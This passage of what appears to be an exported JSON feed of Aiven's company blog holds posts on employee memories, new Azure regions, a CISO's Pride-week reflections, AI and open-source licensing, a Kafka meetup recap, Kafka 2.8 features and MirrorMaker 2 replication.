to comment on their tenure at the company, and it turns out we’re not. We’re really not!\n\nWhen asked to describe their favorite memories at Aiven and the lessons they’ve learned, our cast of Crabs talked about how great it was to have a global team, what fun their colleagues are, and how kind and enjoyable the general Aiven vibe is. \n## Favorite Aiven memories\nStarting from the moment we scuttle into the Aiven world, many of us feel connected and supported. When we asked the Crabs for their favorite memories at Aiven, coming to the office for the first time or logging into their first meeting was a big theme.\n\n*First time entering the Helsinki office. It's been nothing but welcoming and cozy, almost like a second home :) - Svenja Spielberg*\n\n*I remember all those warm and smiling faces. The first day truly felt like I had started a new chapter in my life. - Ville Talvitie*\n\n*My first week at Aiven and I heard how thoughtful my supervisor had prepared for me before she went to her vacation. [...] I got a lot of warm welcomes and friendliness from her and other colleagues. - Jin Nguyen*\n\n*Spending my first full day at the office, getting to meet everyone and having lunch in Helsinki with the office crowd. - [Andrew Hindle](http://linkedin.com/in/hindleandrew/)*\n\n*Some of the gang in the office chipping in to help me screw some crates together for an event. We can do strategy, sell Aiven services but also roll up our sleeves and do some \"dirty\" work when we need to. 100%. - Shu Toh*\n\n*First global team meeting (over zoom) Three time zones spanning 12 hours. - Rachel Romoff*\n\nWorking together online is both challenging and rewarding, but sometimes a face to face meeting can be a game changer. \n\n*On my 3rd visit to Helsinki in June so many colleagues (from different departments) just came to the office to meet me. I felt so welcomed (I'm usually working at home office) and really as a part of Aiven, but also as part of the Helsinki team. When I flew back I REALLY understood: I'm part of it, even if I don't see everyone every day. This feeling of \"arriving\" was amazing! - Markus Jaensch*\n## Whole week of Crabs\nMany sunny memories were made at Aiven’s Crab Week in the spring of 2022, when we all gathered at a resort near Barcelona in Spain to work and play together. Quoting all of them would be impossible, so here are some gems.\n\n*My favorite memory is seeing one of the founders looking at the long tables during a dinner at Crab Week and becoming emotional about the big thing Aiven became and how it is not only a tech company but rather an exceptional group of humans. - Francesco Tisiot*\n\n*When two of my lovely colleagues turned up to a team photo shoot in bathrobes at Crab Week! - Jen Szabo*\n\n*Everyone was so open and inviting. [E]veryone, from Board Members to the C-Suite to the newest employees, was open to talking, hearing your thoughts, and very friendly. - Brendan O’Donnell*\n\n*The cover band was performing \"We Found Love\" by Rihanna and when the chorus dropped, everyone went wild singing and dancing along! - Loren Snodgrass*\n\n*Crab Week formal dinner, with Pasi at my side and Mika [Eloranta] in front of me. I didn’t know at first Mika was an Aiven founder as I missed the first three days of Crab Week, and we got a good laugh out of that later. - Silvia Santillan Nava*\n\n## But is it working?\nIt’s not all play at Aiven - we also work together. But sometimes it’s hard to tell the difference…\n\n*Work can be fun! - Abel Florez*\n\n*[Best memory:] Writing a fake [crab documentary](https://youtu.be/yZkyhTV4CDU) narrated by David Attenborough. - Mark Roberts*\n\n*[I’ve found that] it's still possible to have fun at work, and learn new things. - Tibs*\n\n## We celebrate each other\nWe asked the Crabs to name the most important thing they’d learned at Aiven. It’s clear from the responses that Aiveners are a bright, fun, kind bunch who celebrate all differences - of cultures, people, and opinions. \n\n*I wouldn't say I learned a very important thing, but I did notice very early that special kindness and openness of mind that permeates every interaction. - Antoine Leven*\n\n*We are all humans with our strengths and flaws. We always try to do our best and if we fail, we encourage each other to try again. Life has its ups and downs and it is not the end of the world if something bad happens. There cannot be good days without bad ones. - Ville Talvitie*\n\n*It's not about your age, nor your ego or education, it's about what you bring to the table. - [Emilia Kronlund](https://www.linkedin.com/in/emiliakronlund/)*\n\n*I can just be me....and it's ok! - Naimi Smith-Vieno*\n\nAnd very importantly, people feel like they’ve grown during their time at Aiven. That’s absolutely the cherry on top of the crab cake!\n\n*I'm now capable of tackling bigger projects and working cross-functionally. - Silvia Santillan Nava*\n\n*Grow and help others grow as well. - Daniel Müller*\n## Going forward\nThinking of crabs, the first thing that most people notice (right after the cool, multifunctional claws!) is that they move sideways. That’s the stuff of legend. But hey, if it’s good enough for them, it’s good enough for us Crabs, right? What matters is that we all move in the same direction, together, in whatever way comes most naturally to each of us. \n\nSince 2016, we’ve sidled from a tiny startup of four people to a vigorously growing community of over 500. Now the Aiven Cast of Crabs is looking forward (or even giving the side-eye!) to a future with even more great colleagues and increasingly awesome work to be done. \n\n--\n\nTo get the latest news about Aiven and our services, plus a bit of extra around all things open source, [subscribe to our monthly newsletter](https://aiven.io/newsletter)! Daily news about Aiven are available on our [LinkedIn](https://www.linkedin.com/company/aiven/) and [Twitter](https://twitter.com/aiven_io) feeds.\n","categories":[{"_key":"1ErERmLUOz2onJX3MFydSX","_ref":"1ErERmLUOz2onJX3MFydSX","_type":"reference"}],"internalBlogProcess":"editorial","mainImage":{"alt":"","asset":{"_ref":"image-2dc7297d4bc121661629ab2c96fbc6a5771d278b-2500x1308-jpg","_type":"reference"}},"publishedAt":"2022-09-20T00:00:00.000Z","seo":{"metaDescription":"Aiven's headcount climbed past 500 this September. We asked our Cast of Crabs about their favorite memories and greatest lessons - read what they said!","metaImage":{"alt":"","asset":{"_ref":"image-2dc7297d4bc121661629ab2c96fbc6a5771d278b-2500x1308-jpg","_type":"reference"}},"metaTitle":"In the company of fabulous Crabs"},"slug":{"_type":"slug","current":"/blog/in-the-company-of-fabulous-crabs"},"subtitle":"Aiven's headcount climbed past 500 this September. We asked our Cast of Crabs about their favorite memories and greatest lessons - read what they said!","title":"In the company of fabulous Crabs"} {"__i18n_lang":"en","_createdAt":"2022-06-16T14:05:36Z","_id":"1nsaANIi1D9SCE8n1ZH1E4","_rev":"cEPH2uRN58AU2lp9QO7lij","_type":"post","_updatedAt":"2022-09-08T16:18:54Z","authors":[{"_key":"5X56DMMpbvqaUWfT7pf8Bi","_ref":"5X56DMMpbvqaUWfT7pf8Bi","_type":"reference"}],"body":"In this week's updates to Aiven we've greatly enhanced project membership management as well as launched Aiven in five new Azure regions.\n\n### Project membership improvements\n\nProject membership management improvements make it easier to share the ownership and management responsibilities of an Aiven project between multiple users in one organization.  You can now promote other team members to project administrators, allowing them to invite more members to the project and to adjust billing settings.\n\nWe've also updated project invite functionality to allow inviting users who haven't yet registered their Aiven accounts.  Such users are invited to sign up to Aiven and once they've signed up the console will display pending invitations for them.  Pending invitations are shown for all users and projects in the console.\n\nThese improvements make it easier for multiple users to start collaborating in Aiven.\n\n![](//cdn.sanity.io/images/sczeoy4w/production/168aa1abaf4658b78dd799b2a5c847b87a208674-400x240.png)\n\n### New Azure regions launched\n\nWe're happy to announce immediate availability of Aiven in five new Azure regions:  All Aiven services are now available in Azure **Japan West** (Osaka), **Japan East** (Tokyo), **East Asia** (Hong Kong), **Southeast Asia** (Singapore) and **Brazil South** (São Paulo) regions.\n\n### Pricing updates\n\nTo reflect the cost differences between different cloud providers and regions we have adjusted pricing of new services in Amazon Web Services and Azure clouds.  Pricing in most AWS regions has been increased for new plans; the prices for current Aiven users will stay unchanged until the end of 2016\n\nWe have no plans for changing Google Cloud, DigitalOcean or UpCloud pricing in the foreseeable future.\n\nWe'd also like to remind you about Aiven's unique feature allowing seamless migrations between cloud providers, making it possible to migrate services to different clouds if needed.\n\n### Trying Aiven is free, no credit card required\n\nOur free trial program is still open: you will receive US$10 worth of free credits at sign-up which you can use to try any of our service plans.\n\nGo to [aiven.io](https://aiven.io/) to get started!\n\n### We value your feedback\n\nWe are always interested in ways of making our service better. Please send your feedback and suggestions via\n[email](mailto:support@aiven.io), [Facebook](https://facebook.com/aivencloud),\n[LinkedIn](https://www.linkedin.com/company/aiven) or using our website's live chat.\n","categories":[{"_key":"ksykM2RWxnnen4wmbNFR6","_ref":"ksykM2RWxnnen4wmbNFR6","_type":"reference"}],"mainImage":{"alt":"","asset":{"_ref":"image-1335e1a409ae973cc1e54e9ef2d7025fa306603e-2500x1308-png","_type":"reference"}},"publishedAt":"2016-09-23T10:14:00.000Z","seo":{"metaDescription":"As Microsoft Azure builds, so does Aiven. Find out what new regions are available and how we’ve improved project management for Aiven services.","metaImage":{"alt":"","asset":{"_ref":"image-1335e1a409ae973cc1e54e9ef2d7025fa306603e-2500x1308-png","_type":"reference"}},"metaTitle":"User management improvements and new Azure regions launched"},"slug":{"_type":"slug","current":"/blog/user-improvements-and-new-clouds"},"subtitle":"As Microsoft Azure builds, so does Aiven. Find out what new regions are available and how we’ve improved project management for Aiven services.","title":"User management improvements and new Azure regions launched"} {"__i18n_lang":"en","_createdAt":"2022-07-13T01:08:21Z","_id":"2rcTIa01PnwrinqKa1L4O5","_rev":"rV9BZDYEBgQp95tIya1J9D","_type":"post","_updatedAt":"2023-06-08T08:10:06Z","authors":[{"_key":"5SPKXKjdlpFtgqZE176yRN","_ref":"5SPKXKjdlpFtgqZE176yRN","_type":"reference"}],"body":"*Before I get into the main content of this blog post, I would like to take a moment to pause and honour the memory of those affected by the senseless violence in Oslo Norway last weekend. Two people murdered and 21 injured in an act intended to terrorize and marginalize people who are still struggling with issues of basic equality and human rights around the world. There are no excuses for this behaviour and it cannot be tolerated.*\n\nI’ve been thinking about Pride Week and what it means to me. This leads to a question that many leaders struggle with, especially white hetero cis-male ones who don’t know how to work across all worldviews but are actively trying to learn more: “What can I as a leader do to enable an 2SLBGTQIA+ inclusive workplace?”\n\nThe things we can do are both very easy and very difficult. \n\n## Embracing what I do not know\n\nEverything starts with admitting that this is an area in which I lack experience and expertise. It’s OK to not know things. It’s OK to educate yourself and find the support you need to help others who depend on you. This is the point from which I draw strength. \n\nThis kind of vulnerability is not an easy thing to accept It can even lead to feelings of inadequacy or weakness. That’s also OK. Just keep going regardless.\n\n## Executive allies\n\nI aim to connect the members of Aiven’s #ProudCrabs community with the Executive Team. This way I can serve the greater good and offer my support, enabling a systemic, structured, and accountable relationship between all of us. This work should be visible within the organization. We should always be open and talk about how to act inclusively. We must also ensure that the company supports all 2SLBGTQIA+ colleagues and families, not only with internal actions but also through public actions, like our support for Helsinki Pride. This is what being an ally is. \n\n## Diversifying the cast\n\nAs a Canadian, I live in a very multicultural society. One of my core visions is having a team that looks like my community - diverse in as many ways as possible. \n\nDespite our multiculturalism, Canada has made some significant errors in how we treat people that are perceived as different. I believe that we are consciously improving and that we have made some progress. It’s not enough yet, but it’s there. I can mirror this within Aiven by leading the hiring of diverse people. I’ve often said, I want to hire the best brains, regardless of the container they arrive in. But saying that and actually following through are two very different tasks. \n\nYou can’t hire a diverse staff in an environment where harassment and other inappropriate behaviour happens. These things can’t be tolerated, and we must take measures to ensure that everyone feels safe to be themselves at work. \n\nSaying “do not tolerate harassment and inappropriate behaviour” sounds disingenuous, because it kind of is. Harassment and inappropriate behaviour is often insidious and structural, and that means it’s hard for outsiders to see. But even though it’s hard, there’s no room for excuses, just doing the right thing. \n\n## Final bit of advice\n\nThe most important advice that I can give to other non-minority leaders is: take the opportunity to learn from the experience of working with as many diverse people as possible. You got to where you are because you’re good at something, but no one’s good enough at everything to be above learning more. \n\nTake the advice of others, make it safe for them to challenge you on your preconceptions and limited point of view. Let them help you be better. Then you can say that you’re living and working to support Pride. \n\nShow your 2SLBGTQIA+ staff that you can be a real ally and support them the other 51 weeks of the year with Pride. \n\n*2SLBGTQIA+ may be a bit of a Canadian-ism as it references an Indigeneous North American notion of [“Two Spirit” (2S)](https://en.wikipedia.org/wiki/Two-spirit \"Two Spirit | Wikipedia \") and includes Intersex and Asexual people explictly. Also useful to read: [DEFINING 2SLGBTQ+ TERMS](https://www.trentu.ca/currentstudents/sites/trentu.ca.currentstudents/files/documents/Defining%202SLGBTQ+%20Terms%20OoC.pdf \"DEFINING 2SLGBTQ+ TERMS\").\n\n--\n\nTo get the latest news about Aiven and our services, plus a bit of extra around all things open source, [subscribe to our monthly newsletter](https://aiven.io/newsletter)! Daily news about Aiven are available on our [LinkedIn](https://www.linkedin.com/company/aiven/) and [Twitter](https://twitter.com/aiven_io) feeds.\n","categories":[{"_key":"1ErERmLUOz2onJX3MFydSX","_ref":"1ErERmLUOz2onJX3MFydSX","_type":"reference"}],"internalBlogProcess":"editorial","mainImage":{"alt":"","asset":{"_ref":"image-b1bd7d16f7f9079b40be827756331b875f4f1171-1567x844-png","_type":"reference"}},"publishedAt":"2022-07-01T00:00:00.000Z","seo":{"_type":"metaData","metaDescription":"As a part of Aiven's Pride partnership, we wanted to talk to our community members and allies. Read about what Pride week means to James Arlen, Aiven's CISO. ","metaImage":{"alt":"","asset":{"_ref":"image-b1bd7d16f7f9079b40be827756331b875f4f1171-1567x844-png","_type":"reference"}},"metaTitle":"Aiven's Pride partnership | Read more in our blog"},"slug":{"_type":"slug","current":"/blog/leading-over-the-rainbow"},"subtitle":"As a part of Aiven's Pride partnership, we wanted to talk to our community members and allies. Read about what Pride week means to James Arlen, Aiven's CISO. ","title":"Leading over the rainbow"} {"__i18n_lang":"en","_createdAt":"2024-09-17T09:06:19Z","_id":"570e4d76-e2c9-43c4-92bb-043f7d4b29dc","_rev":"dRINhfum12oUHTYuhygAMf","_type":"post","_updatedAt":"2024-09-18T08:41:56Z","authors":[{"_key":"d46936a3f4e8","_ref":"6kbIS9XcSGAirsTtwXqhdf","_type":"reference"}],"body":"Addressing how AI can be best adopted without hampering creativity or overstepping the line when it comes to copyright or licensing laws is one of the major challenges facing software developers. For instance, the Intellectual Property Office (IPO), the Government body responsible for overseeing intellectual property rights in the UK, confirmed recently that it has been unable to facilitate an agreement for a voluntary code of practice which would govern the use of copyright works by AI developers. \n\n## The perfect match of AI and OS\nToday, most AIs are being trained on open source (OSS) projects because they can be accessed without the restrictions associated with proprietary software. This is something of a perfect match. It provides AI with an ideal training environment with access to a huge amount of standard code bases which are running in infrastructures around the world. At the same time, OS software is exposed to the acceleration and improvement that running with AI can provide.\n\nDevelopers, too, are massively benefiting from AI because they can ask questions, get answers and, whether it’s right or wrong, use AI as a basis to create something to work with. This major productivity gain is helping to refine coding at a rapid rate. Developers are also using it to solve mundane tasks quickly, get inspiration or source alternative examples on something they thought was a perfect solution.\n\n## Total certainty and transparency\nHowever, it’s not all upside. The integration of AI into OSS has complicated licensing. General Public Licenses (GPL) are a series of widely used free software licenses (there are others too), or copyleft, that guarantee end users four freedoms; to run, study, share, and modify the software. Under these licenses, any modification of software needs to be released within the same software license. If a code is licensed under GPL, any modification to it also needs to be GPL licensed.\n\nThere lies the issue. Unless there is total transparency in how the software has been trained, it is impossible to be certain of the appropriate licensing requirements or, indeed, how to even license it in the first place. This makes traceability paramount if copyright infringement and other legal complications are to be avoided. Additionally, there is the ethical question - if a developer has taken a piece of code and modified it, is it still the same code? We’ve covered that in more detail in a follow-up blog to this one.\n\nSo the pressing issue is this: What practical steps can developers take to safeguard themselves against the code they produce and what role can the rest of the software community - OSS platforms, regulators, enterprises and AI companies - play in helping them do that? \n\n## Here is where foundations come to offer guidance\n\nIntegrity and confidence in traceability matters more when it comes to OSS because everything is out in the open. A mistake or oversight in proprietary software might happen but, because it is a closed system, the chances of exposure are practically zero. Developers working in OSS are operating in full view of a community of millions. They need certainty where a source code from a third party originates from - is it a human, or is it AI?\n\nThere are foundations in place. Apache Software Foundation has a directive that says developers shouldn't take source code done by AI. They can be assisted by AI but the code they contribute is the responsibility of the developer. If it turns out that there is a problem then it’s the developers issue to resolve. We have a similar protocol at Aiven. Our guidelines state that our developers can make use only of the pre-approved constrained Generative AI tools, but in any case, developers are responsible for the outputs and need to be scrutinized and analyzed, and not simply taken as they are. This way we can ensure we are complying with the highest standards.\n\nBeyond this, there are ways organizations using OSS can also play a role, taking steps to safeguard their own risks in the process. This includes the establishment of an internal AI Tactical Discovery team - a team set-up specifically to focus on the challenges and opportunities created by AI. We wrote more about this in a recent blog but, in this case it would involve a project specifically designed to critique OSS code bases, using tools like Software Composition Analysis to analyze the AI-generated codebase, comparing it against known open source repositories and vulnerability databases.\n\n## Creating a root of trust in AI\nWhile it is happening, creating new licensing and laws around the role of AI in software development will take time. Not least because consensus is required when it comes to the specifics of its role and the terminology used to describe it. This is made more challenging because the speed of AI development and how it is being applied in code bases moves at a much quicker pace than those trying to put parameters in place to control it. \n\nWhen it comes to assessing if AI has provided copied OSS code as part of its output, factors such as proper attribution, license compatibility, and ensuring the availability of the corresponding open source code and modifications are absolutely necessary. It would also help if AI companies start adding traceability to their source code. This will create a root of trust that has the potential to unlock significant benefits in software development. ","categories":[{"_key":"fa2fc5af7140","_ref":"4b855c21-3b95-4460-928d-6ddccb375b43","_type":"reference"},{"_key":"5e853bc5e5ab","_ref":"7fac76c7-74bf-44f8-8ec0-ea262286d712","_type":"reference"},{"_key":"d7aeb34c0b82","_ref":"8R60m8L4BFeRA01yrF7eD","_type":"reference"}],"mainImage":{"_type":"mainImage","asset":{"_ref":"image-cb767af99f10698d510f3ca04eccebf0ef4b6898-1200x628-jpg","_type":"reference"}},"publishedAt":"2024-09-18T08:00:00.000Z","seo":{"_type":"metaData","metaDescription":"Explore how AI is transforming software development, the challenges of licensing and the ethical considerations for open source projects in the digital age.\n","metaImage":{"_type":"mainImage","asset":{"_ref":"image-cb767af99f10698d510f3ca04eccebf0ef4b6898-1200x628-jpg","_type":"reference"}},"metaTitle":"The AI Advantage: How AI is Reshaping Software Development"},"slug":{"_type":"slug","current":"/blog/the-ai-advantage-how-ai-is-reshaping-software-development"},"subtitle":"Widespread adoption of Generative AI has infiltrated nearly every business sector. While tools like transcription and content creation are readily accessible to all, AI's transformative potential extends far deeper. Its influence on coding and software development raises profound questions about the future of this industry.","title":"The AI Advantage: How AI is Reshaping Software Development"} {"__i18n_lang":"en","_createdAt":"2022-06-16T14:05:36Z","_id":"3b04wLBEIzX0SjrgzhdANL","_rev":"cEPH2uRN58AU2lp9QO7hEn","_type":"post","_updatedAt":"2022-09-08T16:17:36Z","authors":[{"_key":"LFe7wYXE7xFFvwFXOIwwX","_ref":"LFe7wYXE7xFFvwFXOIwwX","_type":"reference"}],"body":"Our latest Kafka meetup on January 30th was hosted at Rovio Entertainment’s headquarters in Espoo Finland.\n\nRovio's own Henri Heiskanen, Director of Data Engineering, presented Rovio’s use case for Apache Kafka to handle their massive data requirements.\n\nOur CTO, Heikki Nousiainen followed with a presentation on benchmarking raw Kafka performance across four different clouds to demonstrate its capabilities.\n\nWe've summarized Rovio’s presentation for you. There's also a copy of the slide deck at the end of this post.\n## A tale of two Kafkas\nHeiskanen kicked the meetup off with his presentation, _Story of Two Kafkas_, a reference to their ongoing transition to a newer pipeline. A **user of Kafka since version 0.7**, Rovio's daily load is impressive:\n\n* 3 billion events,\n* 1 Terabyte of data\n\nWithout getting too deep into their architecture, suffice it to say that their Kafka node count is high. In spite of its size, when asked how big a team should be to manage Kafka, he responded,\n\n\"One really good Kafka guy on development side who is available 24 hours.\"\n\nHis wink and a nod response provides insight into the difference between setting up Kafka and running it in a production cluster, as one of his slides summarized;\n\n_Setting up Kafka is simple, but for running a production cluster, you need monitoring, orchestration, and capable people._\n\nThat said, Rovio’s choice to go with Kafka is obvious:\n\nKafka’s the best tool available and doesn’t pose vendor lock-in, **unlike AWS’s Kinesis and Google’s PubSub**.\n\nAdditionally, there are a lot of good Kafka tools and connectivity libraries available, as he quipped, “If you feel you need to implement something yourself, you’ve not googled enough.”\n## Apache Kafka cloud performance\nAiven’s Nousiainen closed the event, presenting Kafka’s raw cloud performance over AWS, GCP, Microsoft Azure, and UpCloud in three Aiven plans:\n\n* __Business-4__\n3-node cluster | 1 CPU | 4GB memory\n* __Business-8__\n3-node cluster | 2 CPU | 8GB memory\n* __Premium-8-5x__\n5-node cluster | 2 CPU | 8GB memory\n\nWe also used client settings typical of Aiven customers and over network access, running the benchmark anywhere from one to two hours.\n\nWhile the specifics are in the slide deck, an interesting result was UpCloud’s superior performance over the other cloud platforms, regardless of Aiven plan.\n\nWhen asked about it, he speculated that it was UpCloud's network bandwidth and fast disk IO that were the causal differences in this benchmark.\n\nUltimately, the idea of the test was just to demonstrate that, **even with modest specs**, Kafka can still deliver impressive throughput.\n\nWe will be following up with additional benchmark’s that mirror real world usage more closely. In the meantime, you can review Heikki's presentation slides below!\n\n___\n\n[![kafka cloud performance slide number one](//cdn.sanity.io/images/sczeoy4w/production/d1acf35a37e0ec1c8e88acffa6b8e6afa3cad6cc-960x540.jpg)](https://github.com/aiven/presentations/blob/master/Kafka_Meetup_Helsinki/Kafka%20Cloud%20Performance%20-%20Helsinki%20Kafka%20Meetup%20Jan%202018%20-%20Heikki%20Nousiainen.pdf)\n\n## Next meetup\nWe’re planning on hosting the new Apache Kafka meetup during March.\n\nWe will begin livestreaming our Kafka meetups to give even more users access to the information that we cover in them.\n\nTo stay up-to-date, [follow us on Facebook](https://facebook.com/aivencloud) and look out for the next Kafka meetup announcement!\n","categories":[{"_key":"3DG5ZYx4kaoRquQmn345yY","_ref":"3DG5ZYx4kaoRquQmn345yY","_type":"reference"}],"mainImage":{"alt":"","asset":{"_ref":"image-774f18a4a134fee4894f3f62a321c7ecd67dcbde-752x405-png","_type":"reference"}},"publishedAt":"2018-02-16T00:00:00.000Z","seo":{"metaDescription":"For our third Kafka meetup, we decided to stop by Rovio HQ and talk shop with their Director of Data Engineering. Find out the details here.","metaImage":{"alt":"","asset":{"_ref":"image-774f18a4a134fee4894f3f62a321c7ecd67dcbde-752x405-png","_type":"reference"}},"metaTitle":"Rovio talks Kafka with Aiven"},"slug":{"_type":"slug","current":"/blog/rovio-talks-kafka-with-aiven"},"subtitle":"For our third Kafka meetup, we decided to stop by Rovio HQ and talk shop with their Director of Data Engineering. Find out the details here.","title":"Rovio talks Kafka with Aiven"} {"__i18n_lang":"en","_createdAt":"2022-06-16T14:05:38Z","_id":"Ruxd1kfkwKcJHUP3GexKF","_rev":"msvVOwV0ly404Y5JqDPXrn","_type":"post","_updatedAt":"2024-08-09T10:28:10Z","authors":[],"body":"The new Apache Kafka version 2.8, announced on April 19, 2021, comes with a number of enhancements across the board, including a preview of being able to run Kafka without Zookeeper.\n\n## Apache Kafka without ZooKeeper\n__KIP-500: Replace ZooKeeper with a Self-Managed Metadata Quorum__\nhttps://cwiki.apache.org/confluence/display/KAFKA/KIP-500%3A+Replace+ZooKeeper+with+a+Self-Managed+Metadata+Quorum\n\nExciting news, removing the ZooKeeper dependency is moving forward, and now it is possible to run Kafka without ZooKeeper. The new consensus based on the RAFT protocol, KRaft, is now available. Note however, that the feature is not production ready yet and should only be used for testing. But it is already showing promising performance improvements.\n## Exactly Once delivery\n__KIP-679: Producer will enable the strongest delivery guarantee by default__\nhttps://cwiki.apache.org/confluence/display/KAFKA/KIP-679%3A+Producer+will+enable+the+strongest+delivery+guarantee+by+default\n\nStarting with the version 2.8, the Kafka producers will now have “exactly once” delivery semantics enabled by default. Transaction producers have been available since version 0.11, and provide much better semantics for application development with a very small performance hit.\n\n## Performance improvements\n__KIP-612: Ability to Limit Connection Creation Rate on Brokers__\nhttps://cwiki.apache.org/confluence/display/KAFKA/KIP-612%3A+Ability+to+Limit+Connection+Creation+Rate+on+Brokers\n\nVersion 2.8 extends the throttling capabilities introduced in 2.7. Now it is possible to throttle the number of connections created per IP, which allows more fine grained control to prevent performance degradation when up-scaling or deploying an application with a high number of nodes.\n\n__Improved leader election performance for clusters with thousands of partitions__\nhttps://issues.apache.org/jira/browse/KAFKA-10794\nA small bug fix with a large effect. This one liner halved the time to process\nsome leader election messages.\n\nThe list above includes only examples of the most important enhancements in this release. To see the full list please visit: https://archive.apache.org/dist/kafka/2.8.0/RELEASE_NOTES.html\n## How to get started with Aiven for Apache Kafka 2.8\nYou can either launch a brand new cluster in [the Aiven console](https://console.aiven.io/login) or conduct a no-downtime upgrade to the latest version.\n## Wrapping up\nNot using Aiven services yet? Sign up now for your free trial at [https://console.aiven.io/signup](https://console.aiven.io/signup \"Aiven free trial signup link\")!\n\nIn the meantime, make sure you follow our [changelog](https://aiven.io/changelog) and [blog](https://aiven.io/blog) RSS feeds or our [LinkedIn](https://www.linkedin.com/company/aiven/) and [Twitter](https://twitter.com/aiven_io) accounts to stay up-to-date with product and feature-related news.\n\n## Further reading\n\n- [Aiven supports Apache Kafka® 2.6](https://aiven.io/blog/aiven-supports-apache-kafka-2-6)","categories":[{"_key":"ksykM2RWxnnen4wmbNFR6","_ref":"ksykM2RWxnnen4wmbNFR6","_type":"reference"},{"_key":"3DG5ZYx4kaoRquQmn345yY","_ref":"3DG5ZYx4kaoRquQmn345yY","_type":"reference"}],"mainImage":{"alt":"","asset":{"_ref":"image-400ccd26a0acfe6092596b264c8d3569b2b5ec5c-1567x844-png","_type":"reference"}},"publishedAt":"2021-04-27T00:00:00.000Z","seo":{"metaDescription":"Aiven now supports Apache Kafka version 2.8, announced on April 19, 2021. Read on to find out what the new version means for you!","metaImage":{"alt":"","asset":{"_ref":"image-400ccd26a0acfe6092596b264c8d3569b2b5ec5c-1567x844-png","_type":"reference"}},"metaTitle":"Aiven supports Apache Kafka® 2.8"},"slug":{"_type":"slug","current":"/blog/aiven-supports-apache-kafka-2-8"},"subtitle":"Aiven now supports Apache Kafka version 2.8, announced on April 19, 2021. Read on to find out what the new version means for you!","title":"Aiven supports Apache Kafka® 2.8"} {"__i18n_lang":"en","_createdAt":"2022-06-16T14:05:36Z","_id":"5ldaB9gWRk2DWBu2R3QzcR","_rev":"ZgPiUE9lJ1tcRKuFnQfRyH","_type":"post","_updatedAt":"2024-07-09T14:13:31Z","authors":[{"_key":"7aLlIDft447BvdfSDjeIdu","_ref":"7aLlIDft447BvdfSDjeIdu","_type":"reference"}],"body":"[MirrorMaker](https://aiven.io/kafka) 2.0 is a robust data replication utility for [Apache Kafka®](https://aiven.io/blog/what-is-apache-kafka). It acts as a consumer and producer for multiple Kafka clusters, so that users can easily and reliably copy data from one cluster to another. This increases the resilience of Kafka-centric architectures. \n\n## Reasons to replicate your Apache Kafka cluster data\nApache Kafka only stores data temporarily and [is not really a database](https://aiven.io/blog/apache-kafka-and-the-great-database-debate \"Apache Kafka and the Great Database Debate | Aiven blog\") in that sense. Why, then, should you worry about replicating that fleeting data? \n\nBecause data replication between your Apache Kafka clusters can add flexibility, performance and reliability to your core data infrastructure. Particularly large companies with huge data volumes can benefit from this. \n### 1. Disaster recovery\nThe best understood and most important scenario where you would want to replicate data between Apache Kafka clusters is [disaster recovery](https://aiven.io/blog/data-and-disaster-recovery \"Data and disaster recovery | Aiven blog\"). Many businesses rely on Apache Kafka as a cornerstone of their data infrastructure. Apache Kafka is mature, reliable and offered by trusted providers, but disasters can still happen, and data can still become temporarily unavailable--or lost altogether.\n\nThe best way to mitigate the risks is to have a copy of your data in another Kafka cluster in a different data center. That way, you can switch clients to it relatively seamlessly, moving to an alternative deployment on the fly with minor or no service interruptions.\n\nMirrorMaker2 preserves consumer offset mappings and offers tooling for nearly transparent consumer migration between clusters. This is a key to successful disaster recovery.\n### 2. Going to the cloud\nMore and more companies are migrating their Apache Kafka clusters from on-prem installations to the cloud. Some are at the stage where they're moving from one cloud region or provider to another. \n\nTools that support the cloud migration of data services give you more control over your data. Replicating data between Kafka clusters is an excellent choice for low-downtime Kafka cloud migration.\n### 3. Getting closer\nFor many global businesses, it's not uncommon to produce and consume data in geographically distributed locations. Replication lets you bring the data where the users are. This cuts down on latency and network costs and offers optimal throughput.\n### 4. Isolating data\nSome data sets may need to be isolated to a separate Kafka cluster for legal, compliance, and performance reasons. \n\nFor instance, in the case of legal considerations, you can limit the retention period of a topic you’re writing to in one cluster and mirror it to another with longer retention in a region that’s compliant to read from. \n\nTo boost performance, you can use one cluster to fleetingly store incoming data, then aggregate it and mirror only the aggregated data to another cluster. This keeps your incoming pipeline clean but still retains the important bits, and as a bonus it may save money in terms of storage space, too.\n### 5. Data analytics\nAggregation is also a factor in data pipelines, which might require the consolidation of data from distributed Kafka clusters into a single one. That aggregate cluster then broadcasts that data to other clusters and/or data systems for analysis and visualisations. \n## Apache Kafka MirrorMaker makes life easier\nWhen replicating Apache Kafka clusters using Kafka Connect, MirrorMaker2 synchronizes topic configuration (including partitioning) and ACLs from source to target clusters. No more need for external tooling to make this happen.\n\nIn situations where records are partitioned semantically, it’s good to know that the partitions are preserved during replication; rebuilding them would be a pain.\n\nComplex replication topologies, like active-active and chain replication, are easy to set up. A single MM2 cluster can run multiple replication flows, and it has a mechanism for preventing replication cycles.\n\n## Wrapping up\nApache Kafka MirrorMaker2 makes for a robust replication architecture that you can use for multiple purposes. And the best thing is, you don’t have to set anything up by yourself: you can get it as an add-on to [Aiven for Apache Kafka](https://aiven.io/kafka \"Aiven for Apache Kafka product page\"), and let Aiven do the work.\n\nNot using Aiven services yet? Sign up now for your free trial at [https://console.aiven.io/signup](https://console.aiven.io/signup \"Aiven free trial signup link\")!\n\nIn the meantime, make sure you follow our [changelog](https://aiven.io/changelog) and [blog](https://aiven.io/blog) RSS feeds or our [LinkedIn](https://www.linkedin.com/company/aiven/) and [Twitter](https://twitter.com/aiven_io) accounts to stay up-to-date with product and feature-related news.\n\n\n## Further reading\n\n- [The future of data pipelines](https://aiven.io/blog/the-future-of-data-pipelines)","categories":[{"_key":"3DG5ZYx4kaoRquQmn345yY","_ref":"3DG5ZYx4kaoRquQmn345yY","_type":"reference"}],"internalBlogProcess":"editorial","mainImage":{"alt":"","asset":{"_ref":"image-d68171a776fa13747091973cc018603eb3f96ac4-1567x844-png","_type":"reference"}},"publishedAt":"2021-10-06T00:00:00.000Z","seo":{"_type":"metaData","metaDescription":"Replicating data in your Apache Kafka®? Good idea! Read the top 5 reasons why you should be doing it with MirrorMaker 2.","metaImage":{"alt":"","asset":{"_ref":"image-d68171a776fa13747091973cc018603eb3f96ac4-1567x844-png","_type":"reference"}},"metaTitle":"Why MirrorMaker 2.0 is Essential for Data Replication"},"slug":{"_type":"slug","current":"/blog/5-reasons-why-you-should-be-using-mirrormaker-2"},"subtitle":"Replicating data in your Apache Kafka®? Good idea! Read the top 5 reasons why you should be doing it with MirrorMaker 2.","title":"5 reasons why you should be using MirrorMaker 2.0 for data replication"} 